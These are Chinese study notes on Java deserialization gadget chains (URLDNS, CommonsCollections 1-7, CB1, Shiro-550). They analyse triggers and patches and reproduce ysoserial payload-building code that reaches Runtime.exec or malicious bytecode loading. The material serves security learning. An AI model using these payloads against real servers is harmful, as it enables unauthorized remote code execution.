Java Sec —— 原生反序列化

文章发布时间:

最后更新时间:

Java 学习笔记——原生反序列化

一个比较清楚的调用图 https://boogipop.com/2023/03/02/Java反序列化研究/

Untitled

ps: 从 notion 中直接导出的,看着有点奇怪

0x00. PHP 反序列化与 Java 反序列化的区别


readObject 倾向于解决“反序列化时如何还原一个完整对象”这个问题而 PHP 的 **wakeup 更倾向于解决“反序列化后如何初始化这个对象**”的问题。

0x01. URLDNS DNS 探测器


  • POC

    • Java Poc

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      public Object getObject(final String url) throws Exception {

      //Avoid DNS resolution during payload creation
      //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
      URLStreamHandler handler = new SilentURLStreamHandler();

      HashMap ht = new HashMap(); // HashMap that will contain the URL
      URL u = new URL(null, url, handler); // URL to use as the Key
      ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

      Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

      return ht;
      }
整个调用链过程:

1
2
3
4
5
6
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()

sink 点: java.net.URLStreamHandler#getHostAddress

![Untitled](Java%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E2%80%94%E2%80%94%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20cf32e5b66f974fa48c4a25d75639abd2/Untitled%201.png)

**细节**:为了防止在构造 POC 过程中触发 DNS 解析导致缓存,yso 作了如下设置

1
Reflections.setFieldValue(u, "hashCode", -1);  // u: URL
原因在于 `java.net.URL#hashCode` 中会对 URL 实例的 hashCode 字段判断(如果已经对 url 作过 DNS 解析,则 hashCode 字段不等于 -1) ![Untitled](Java%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E2%80%94%E2%80%94%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20cf32e5b66f974fa48c4a25d75639abd2/Untitled%202.png)

0x02. CC1 (work on JDK ≤ 8u71)


  • 限制条件

    commons-collections:3.1 组件

    JDK ≤ 8u71

  • Transformer 武器套件

    ConstantTransformer InvokerTransformer ChainedTransformer

  • 触发器

    • TransformedMap

      TransformedMap 对 innerMap 作了修饰,传出的 outerMap 是修饰后的 Map

      1
      Map outerMap = TransformedMap.decorate(innerMap, KeyTransformer, valueTransformer);

      keyTransformer 是处理新元素 key 的回调,valueTransformer 是处理新元素 value 的回调;这里的回调并不是回调函数 而是一个实现了上面 Transformer 接口的类

    • AnnotationInvocationHandler

      观察 readObject 方法:其中 memberValues 字段是我们可以设计好的 map(配合 TransformedMap)其会遍历元素并在满足一定条件后调用 setValues 方法,进而触发后续的利用链

      Untitled

      条件是:

      • sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数为 Annotation 的子类,且必须至少含有一个方法,假设方法名为 X
      • TransformedMap.decorate 修饰的 Map 中必有一个键名为 X 的元素

      为什么呢?因为 AnnotationInvocationHandler 在执行 readObject 方法时,会获取到其构造方法时赋值好的字段 memberValue(Map) 和 type(Class<? extends Annotation>),并枚举 map 的 key,实例化 type 并获取 key 同名属性,if 条件句会判断结果是否为 null 决定控制流的继续

      注:这里选择的子类为 java.lang.annotation.Retention 其中包含一个方法 value() , 因此需要在 map 中存放一个键名同样为 value 的元素

      Untitled

      • Java Poc

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        public InvocationHandler getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] }),
        new InvokerTransformer("exec",
        new Class[] { String.class }, execArgs),
        new ConstantTransformer(1) };

        HashMap innerMap = new HashMap();
        innerMap.put("value", "xxx"); // 存放键名要求
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        InvocationHandler handler = (InvocationHandler) Reflections.newInstance("sun.reflect.annotation.AnnotationInvocationHandler", Retention.class, outerMap);
        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

        return handler;
        }
> 注:版本修复:8u71 以后,新建了一个 `linkedHashMap` 对象,并将原来的键值添加进去。 所以后续对 Map 的操作都是基于这个新的 `LinkedHashMap` 对象,而原来我们精心构造的 Map 不再执行 set 或 put 操作,也就不会触发 RCE 了
> 
- LazyMap

    `LazyMap#get()` 方法中会调用 factory(`Transformer类`) 字段的 transform 方法,当设计为我们构造的 gadget 时,便可触发 RCE

    ![Untitled](Java%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E2%80%94%E2%80%94%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20cf32e5b66f974fa48c4a25d75639abd2/Untitled%205.png)

    那么接下来就是寻找可以触发 get 方法的调用点

    yso 的利用构造过程如下:

    1. 首先将经过 LazyMap 修饰过的 HashMap 作一层代理

        
1
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
2. 接下来再进一步包装 mapProxy,将其装入`AnnotationInvocationHandler` 的 `memberValues` 字段,等待反序列化时被触发,调用 invoke 方法执行代理逻辑 进而其中的 lazyMap 会触发 get 方法执行 RCE gadget
1
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
![Untitled](Java%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E2%80%94%E2%80%94%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20cf32e5b66f974fa48c4a25d75639abd2/Untitled%206.png)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
**总结一下**两层 AnnotationInvocationHandler 的作用:内层作用的是动态代理,为了能调用到 invoke 方法进而触发到 `lazymap.get()` 而外层的 AnnotationInvocationHandler 主要是为了作反序列化入口

0x03. CC6 突破 AnnotationInvocationHandler 高版本限制


  • 限制条件

    commons-collections:3.1

    无 jdk 版本限制

  • 新的触发器

    • org.apache.commons.collections.keyvalue.TiedMapEntry

      其 hashCode 方法中会调用 getValue() 方法,进一步调用字段 map 的 get 方法

      Untitled

    • 新的入口点:HashSet(不再使用 AnnotationInvocationHandler 作为入口点,或者将 HashMap 直接作为入口也可以)

      我们知道 HashSet 其内部实际也是维护了一个 HashMap (忽略了value而已)数据结构,因此在反序列化 readObject 过程中同样也会触发对于 key 的 hashCode 操作

    • POC

      • Java Poc

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49
        50
        51
        52
        53
        54
        55
        56
        57
        58
        59
        60
        61
        62
        63
        64
        public Serializable getObject(final String command) throws Exception {

        final String[] execArgs = new String[] { command };

        final Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] }),
        new InvokerTransformer("exec",
        new Class[] { String.class }, execArgs),
        new ConstantTransformer(1) };

        Transformer transformerChain = new ChainedTransformer(transformers);

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
        f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
        f = HashSet.class.getDeclaredField("backingMap");
        }
        // 先拿到内部的 HashMap 成员 instance
        Reflections.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);

        Field f2 = null;
        try {
        f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
        f2 = HashMap.class.getDeclaredField("elementData");
        }

        Reflections.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);

        Object node = array[0];
        if(node == null){
        node = array[1];
        }

        Field keyField = null;
        try{
        keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
        keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        Reflections.setAccessible(keyField);
        keyField.set(node, entry);

        return map;

        }
    这里实际构造的稍微复杂了点,因为构造好的 `TiedMapEntry` 需要放到 HashSet 内部正确的位置上,即:

    
1
HashSet -> HashMap -> Node<K, V> -> K key
因此还可以简化设计:直接将 HashMap 作为入口点 - Java Poc2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public Serializable getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };

final Transformer[] fake = new Transformer[] { new ConstantTransformer(1) };

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

Transformer transformerChain = new ChainedTransformer(fake);

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

HashMap expMap = new HashMap();
expMap.put(entry, "valuevalue");

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
lazyMap.remove("foo");

return expMap;
}
![Untitled](Java%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E2%80%94%E2%80%94%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20cf32e5b66f974fa48c4a25d75639abd2/Untitled%208.png) **注**:这里最后需要加一个 `lazyMap.remove("foo");` 原因在于在构造过程中由于会触发一次 put 操作,虽然这时我们没有加上 RCE gadget,但是还是会将 `TiedMapEntry` 中的 key 加入到 lazymap 中,因此需要在最后将其移出,否则如图所示调用链中断
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ObjectInputStream.readObject()
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
---------------------------------------------------------------------
ObjectInputStream.readObject()
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

0x04. CC3 动态加载字节码 —— templatesImpl 上场!


  • 特殊的类加载——远程类加载 java.net.URLClassLoader

    正常情况下,Java 会根据配置项 sun.boot.class.pathjava.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找 .class 文件来加载,而这个基础路径有分为三种情况:

    • URL未以斜杠 / 结尾,则认为是一个 JAR 文件,使用 JarLoader 来寻找类,即为在Jar包中寻找 .class 文件
    • URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找 .class 文件
    • URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类
  • TemplatesImpl 加载任意字节码的利器

    sink 点:org.apache.xalan.xsltc.trax.TemplatesImpl.TransletClassLoader#defineClass

    Untitled

    可以调用的 gadget:

    1
    2
    3
    4
    5
    TemplatesImpl#getOutputProperties() 
    -> TemplatesImpl#newTransformer()
    -> TemplatesImpl#getTransletInstance()
    -> TemplatesImpl#defineTransletClasses()
    -> TransletClassLoader#defineClass()

    利用条件:

    1. _bytecodes 是由字节码组成的数组;

      其中字节码构成的类的必要条件:必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet子类

    2. _name 可以是任意字符串,只要不为 null 即可;

    3. _tfactory 需要是一个 TransformerFactoryImpl 对象,因为 TemplatesImpl#defineTransletClasses() 方法里有调用到 _tfactory.getExternalExtensionsMap() ,如果是 null 会出错。

    TemplatesImpl 是对 JAXP 标准中 javax.xml.transform.Templates 接口的实现,前文说了,XSLT 在使用时会先编译成 Java 字节码,这也就是为什么 TemplatesImpl 会使用 defineClass 的原因

  • BCEL ClassLoader 另一加载 ByteCode 利器
  • CC3

    • 出现的原因:

      InvokerTransformer 被 ban

    • 版本限制:jdk ≤ 8u71

      依赖限制:commons-collections:3.1

    • TrAXFilter 触发器

      这里看到其构造函数中直接存在 TemplatesImpl 的调用链入口点

      Untitled

      InstantiateTransformer 新的 Transformer

      在 transform 时会调用 input 对象指定参数的构造器,配合 TrAXFilter 我们设置 iParamTypes 字段为 Templates.classiArgs 为构造好的 templatesImpl 即可

      Untitled

    • POC

      后面的构造与 CC1 一致

      • Java Poc

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        public Object getObject(final String command) throws Exception {
        Object templatesImpl = Gadgets.createTemplatesImpl(command);

        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer(
        new Class[] { Templates.class },
        new Object[] { templatesImpl } )};

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

        return handler;
        }

0x05. Shiro 中的应用


  • shiro-550 采用 AES 对 cookie 字段的认证信息进行加密,且加密密钥直接硬编码在了代码当中
  • 攻击流程
    1. 使用以前学过的CommonsCollections利用链生成一个序列化Payload
    2. 使用Shiro默认Key进行加密
    3. 将密文作为rememberMe的Cookie发送给服务端
  • CC6 利用限制:

    如果反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误。这就解释了为什么 CommonsCollections6 无法利用了,因为其中用到了 Transformer 数组

  • 简单修改 CC6 使其适配 shiro

    首先原因出在了我们使用 Transformer 数组上,因此修改的方向也是不使用非原生数组类型的对象来构造 exp

    这里借助 LazyMap get 方法传入的参数来完成调用链的衔接。以往是直接忽略参数的,因为 factory 是个自闭合的 transformer[] ,当前 transformer 的 transform 方法参数都由前一个调用结果获得,这里我们利用 get 方法的参数 key 来手动传入即可

    Untitled

    开头还是 CC6 的老套件,key 可以充当 ConstantTransformer 的作用,传入构造好的 templatesImpl 对象,然后利用 InvokerTransformer 调用 newTransformer 方法实现恶意类加载

    Untitled

    • Java Poc

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      public Serializable getObject(final String command) throws Exception {
      Object templatesImpl = Gadgets.createTemplatesImpl(command);

      InvokerTransformer transformer = new InvokerTransformer("getClass", null, null);

      final Map innerMap = new HashMap();
      final Map lazyMap = LazyMap.decorate(innerMap, transformer);
      TiedMapEntry entry = new TiedMapEntry(lazyMap, templatesImpl);

      final HashMap expMap = new HashMap();
      expMap.put(entry, "valuevalue");

      lazyMap.clear();
      Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

      return expMap;
      }

CC2-CC4


  • 限制

    commons-collections4:4.0

  • CC2

    • 触发器

      java.util.PriorityQueue#readObject() ⇒ … ⇒ java.util.PriorityQueue#siftDownUsingComparator()

      Untitled

      TransformingComparator

      Untitled

      Untitled

    • POC 构造

      gadget:

      1
      2
      3
      4
      5
      6
      7
      8
      Gadget chain:
      ObjectInputStream.readObject()
      PriorityQueue.readObject()
      ...
      TransformingComparator.compare()
      InvokerTransformer.transform()
      Method.invoke()
      Runtime.exec()

      根据 TransformingComparator#compare() 的描述,要么直接往 transformer 里塞一个构造好的 Transformer[],要么参照上文 templatesImpl 类加载的方式,参数传入手动构造 gadget

      yso 项目采用的第二种方式:

      • Java Poc

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        public Queue<Object> getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);
        // mock method name until armed
        final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        // switch method called by comparator
        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

        // switch contents of queue
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = 1;

        return queue;
        }
    **注**:`TransformingComparator` 只能在 CC4 版本中使用,之前的版本并未实现 `Serializable` 接口


![Untitled](Java%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E2%80%94%E2%80%94%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20cf32e5b66f974fa48c4a25d75639abd2/Untitled%2017.png)
  • CC4

    实际上就是 CC3 前半段利用 TrAXFilter 构造函数加载 templatesImpl 恶意类加载与后半段 PriorityQueue 反序列化触发链的结合

    • Java Poc

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      public Queue<Object> getObject(final String command) throws Exception {
      Object templates = Gadgets.createTemplatesImpl(command);

      ConstantTransformer constant = new ConstantTransformer(String.class);

      // mock method name until armed
      Class[] paramTypes = new Class[] { String.class };
      Object[] args = new Object[] { "foo" };
      InstantiateTransformer instantiate = new InstantiateTransformer(
      paramTypes, args);

      // grab defensively copied arrays
      paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
      args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

      ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

      // create queue with numbers
      PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
      queue.add(1);
      queue.add(1);

      // swap in values to arm
      Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
      paramTypes[0] = Templates.class;
      args[0] = templates;

      return queue;
      }

CC5


  • 版本限制

    This only works in JDK 8u76 and WITHOUT a security manager

    commons-collections:3.1

  • poc 触发器分析

    刚开始看到这个安全管理器的限制可能会感到奇怪

    首先我们还是利用到了 TiedMapEntry ,但这次触发到 getValue gadget 不是通过 hashCode 而是通过 toString

    Untitled

    • 反序列化入口:BadAttributeValueExpException

      分析 readObject 方法,首先会获取序列化流中的 val 字段,并拿到具体对象(Object 类无限制),当 System.*getSecurityManager*() == null 时即可调用到该对象的 toString 方法,这就可以和上文接上

      Untitled

    • Java Poc

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      public BadAttributeValueExpException getObject(final String command) throws Exception {
      final String[] execArgs = new String[] { command };
      // inert chain for setup
      final Transformer transformerChain = new ChainedTransformer(
      new Transformer[]{ new ConstantTransformer(1) });
      // real chain for after setup
      final Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", new Class[] {
      String.class, Class[].class }, new Object[] {
      "getRuntime", new Class[0] }),
      new InvokerTransformer("invoke", new Class[] {
      Object.class, Object[].class }, new Object[] {
      null, new Object[0] }),
      new InvokerTransformer("exec",
      new Class[] { String.class }, execArgs),
      new ConstantTransformer(1) };

      final Map innerMap = new HashMap();

      final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

      TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

      BadAttributeValueExpException val = new BadAttributeValueExpException(null);
      Field valfield = val.getClass().getDeclaredField("val");
      Reflections.setAccessible(valfield);
      valfield.set(val, entry);

      Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

      return val;
      }
gadget chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

CC7


  • 版本限制

    commons-collections:3.1

  • 触发器

    HashTable:

    readObejctreconstitutionPut

    先来分析一下 HashTable 的 put 操作(readObject 过程发生一样的过程),首先会根据 key 类型计算 hash,再利用 (hash & 0x7FFFFFFF) % tab.length 得到一个哈希表的索引,当该索引对应的条目为 null 时,证明未发生哈希冲突,当前条目可以存放元素,于是创建一个条目并存储相应值。

    由此我们可以知道,如果想进入 for 循环,则需要满足第二次 put 时元素计算 hash 得到的 index 与上一次相同才可以,即构造出来一个哈希冲突

    当前面的条件满足时(后面分析如何满足)会触发 e.key.equals(key),前后的 key 分别时 hashtable 构造放入的两个 lazymap

    Untitled

    之后也就是调用 lazymap 的 equals 方法,由于 HashMap 没有所有会向父类 java.util.AbstractMap 中寻找

    Untitled

    Untitled

    说明一下这里参数,上图当中 entry 指代 lazyMap1, 调用的参数指代 lazyMap2(即当前方法的对象 o 和 赋值后的 m)

    Untitled

    紧接着就会触发 lazymap 的 get 利用链 RCE

    这里需要再次强调:lazymap get 时只有不含指定 key 时才会继续调用 gadget,并且调用一遍之后就会 put 进去,如果想要再次调用的话则需要手动将 key remove 掉(或者直接全部 clear/remove),这里即需要移出 yy

    Untitled

    • 如何构造 hash 碰撞?

      回到 HashTable,index 的计算如下:

      (String.hash & 0x7FFFFFFF) % tab.length 也就是让 String 计算的 hash 相同即可,

      Untitled

      value 为实际存储的字符串 char[], hash 为成员变量

      对于 yy 和 zZ,第一个字符计算后相差1,那么第二轮次算后,需要前面比后面大31

      Untitled

  • POC

    • Java Poc

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      public Hashtable getObject(final String command) throws Exception {

      // Reusing transformer chain and LazyMap gadgets from previous payloads
      final String[] execArgs = new String[]{command};

      final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

      final Transformer[] transformers = new Transformer[]{
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod",
      new Class[]{String.class, Class[].class},
      new Object[]{"getRuntime", new Class[0]}),
      new InvokerTransformer("invoke",
      new Class[]{Object.class, Object[].class},
      new Object[]{null, new Object[0]}),
      new InvokerTransformer("exec",
      new Class[]{String.class},
      execArgs),
      new ConstantTransformer(1)};

      Map innerMap1 = new HashMap();
      Map innerMap2 = new HashMap();

      // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
      Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
      lazyMap1.put("yy", 1);

      Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
      lazyMap2.put("zZ", 1);

      // Use the colliding Maps as keys in Hashtable
      Hashtable hashtable = new Hashtable();
      hashtable.put(lazyMap1, 1);
      hashtable.put(lazyMap2, 2);

      Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

      // Needed to ensure hash collision after previous manipulations
      lazyMap2.remove("yy");

      return hashtable;
      }

CB1


  • 限制
  • 触发器 BeanComparator

    衔接之前优先级队列当中会调用比较器的 compare 方法,BeanComparator#compare() 中若 property 字段非 null 的话,则会调用 CB 特有的 PropertyUtils.*getProperty* 递归获取指定属性的 getter 方法并调用

    Untitled

    结合 TemplatesImpl gaget 的调用链,我们可以利用到 org.apache.xalan.xsltc.trax.TemplatesImpl#getOutputProperties

    Untitled

  • POC

    • Java Poc

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      public Object getObject(final String command) throws Exception {
      final Object templates = Gadgets.createTemplatesImpl(command);
      // mock method name until armed
      final BeanComparator comparator = new BeanComparator("lowestSetBit");

      // create queue with numbers and basic comparator
      final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
      // stub data for replacement later
      queue.add(new BigInteger("1"));
      queue.add(new BigInteger("1"));

      // switch method called by comparator
      Reflections.setFieldValue(comparator, "property", "outputProperties");

      // switch contents of queue
      final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
      queueArray[0] = templates;
      queueArray[1] = templates;

      return queue;
      }

C11 —— 魔改 yso


  • 版本限制:无 jdk 版本限制

    CommonsCollections 3.1-3.2.1

  • POC 编写

    • Java Poc

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      public Serializable getObject(final String command) throws Exception {
      Object templatesImpl = Gadgets.createTemplatesImpl(command);

      final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

      final Map innerMap = new HashMap();
      final Map lazyMap = LazyMap.decorate(innerMap, transformer);

      TiedMapEntry entry = new TiedMapEntry(lazyMap, templatesImpl);

      HashSet map = new HashSet(1);
      map.add("foo");
      Field f = null;
      try {
      f = HashSet.class.getDeclaredField("map");
      } catch (NoSuchFieldException e) {
      f = HashSet.class.getDeclaredField("backingMap");
      }
      // 先拿到内部的 HashMap 成员 instance
      Reflections.setAccessible(f);
      HashMap innimpl = (HashMap) f.get(map);

      Field f2 = null;
      try {
      f2 = HashMap.class.getDeclaredField("table");
      } catch (NoSuchFieldException e) {
      f2 = HashMap.class.getDeclaredField("elementData");
      }

      Reflections.setAccessible(f2);
      Object[] array = (Object[]) f2.get(innimpl);

      Object node = array[0];
      if(node == null){
      node = array[1];
      }

      Field keyField = null;
      try{
      keyField = node.getClass().getDeclaredField("key");
      }catch(Exception e){
      keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
      }

      Reflections.setAccessible(keyField);
      keyField.set(node, entry);

      Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
      return map;
      }
确实就是 CC1-7 的组合,这里是 CC6 类加载的方式拼接起来就行,后面 InvokerTransformer 利用 `newTransformer` 来调用后续 RCE 即可

参考链接


[1] https://h0cksr.xyz/archives/484

[2] https://amiaaaz.github.io/2022/03/23/java-study-notes-03/

[3] https://github.com/frohoff/ysoserial

[4] https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

[5] https://boogipop.com/2023/03/02/Java反序列化研究/